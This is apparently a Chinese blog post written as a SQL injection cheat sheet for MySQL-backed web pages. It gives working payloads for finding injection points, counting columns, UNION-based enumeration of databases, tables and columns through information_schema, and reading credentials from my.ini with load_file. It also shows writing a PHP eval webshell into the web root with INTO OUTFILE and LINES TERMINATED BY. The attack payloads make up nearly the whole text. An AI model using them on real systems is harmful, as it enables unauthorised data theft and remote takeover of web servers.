sql注入

整型
and 1=1页面正常    and 1=2页面异常                       #判断注入点
order by 数字                                                            #一开始不正确就在数字后加%23后测试字段数
union select 1,2,3,4,5,6...字段数                              #在本行语句前加and 1=2就可以只显示联合查询结果
替换可显字段为version()                                           #查询数据库版本    5.0以后的MySQL版本才有元数据库
                        user()                                                #显示当前用户
                        database()                                        #显示当前数据库
                        @@datadir                                       #查询数据库路径
                        @@version_compile_os                   #查询操作系统版本
 
用information_schema查看其它数据库的内容
select 1,group_concat(schema_name),3 from information_schema.schemata
        #查询所有数据库名
select table_name from information_schema.tables where table_schema="test";
        #查看test数据库中包含哪些表    如果只显示一个表则将table_name放入group_concat()的括号内
 
select column_name from information_schema.columns where table_name="hack";
        #查看hack表中包含了哪些字段
select 1,2,xxx,yyy,5... from zzz
        #查看zzz字段内的xxx和yyy数据
导入到文件
SELECT.....INTO OUTFILE 'file_name'
 
第一种直接将select内容导入到文件中:Select version() into outfile “c:\\phpnow\\htdocs\\test.php”
此处将version()替换成一句话,<?php 
@eval($_post[“mima”])?>也即
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
 
 
第二种修改文件结尾:
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件
解释:通常是用\r\n结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY
16进制可以为一句话或者其他任何的代码,可自行构造。在sqlmap中os-shell采取的就是这样的方式
 
load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
可以利用该语句将服务器当中的内容导入到web服务器下的目录,这样就可以得到数据了。上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出来,这个要平时积累。

字符型
输入"或'触发报错                                                     #判断注入点
想办法闭合原语句中的前单引号  id=1'  闭合后单引号  id=1' and 1='1  或注释id=1' and 1=1-- -
 
但可能输入的内容不只是在单引号内  也可能在双引号或其他符号内  如(’‘)或(“”)或(%%)等
如果页面有返回则根据返回情况判断是哪种方式包裹输入的内容  如果只显示错误没有其他信息 则根据经验猜测
posted @ 2020-04-10 00:28  Ra'sAlGhul  阅读(133)  评论(0)    收藏  举报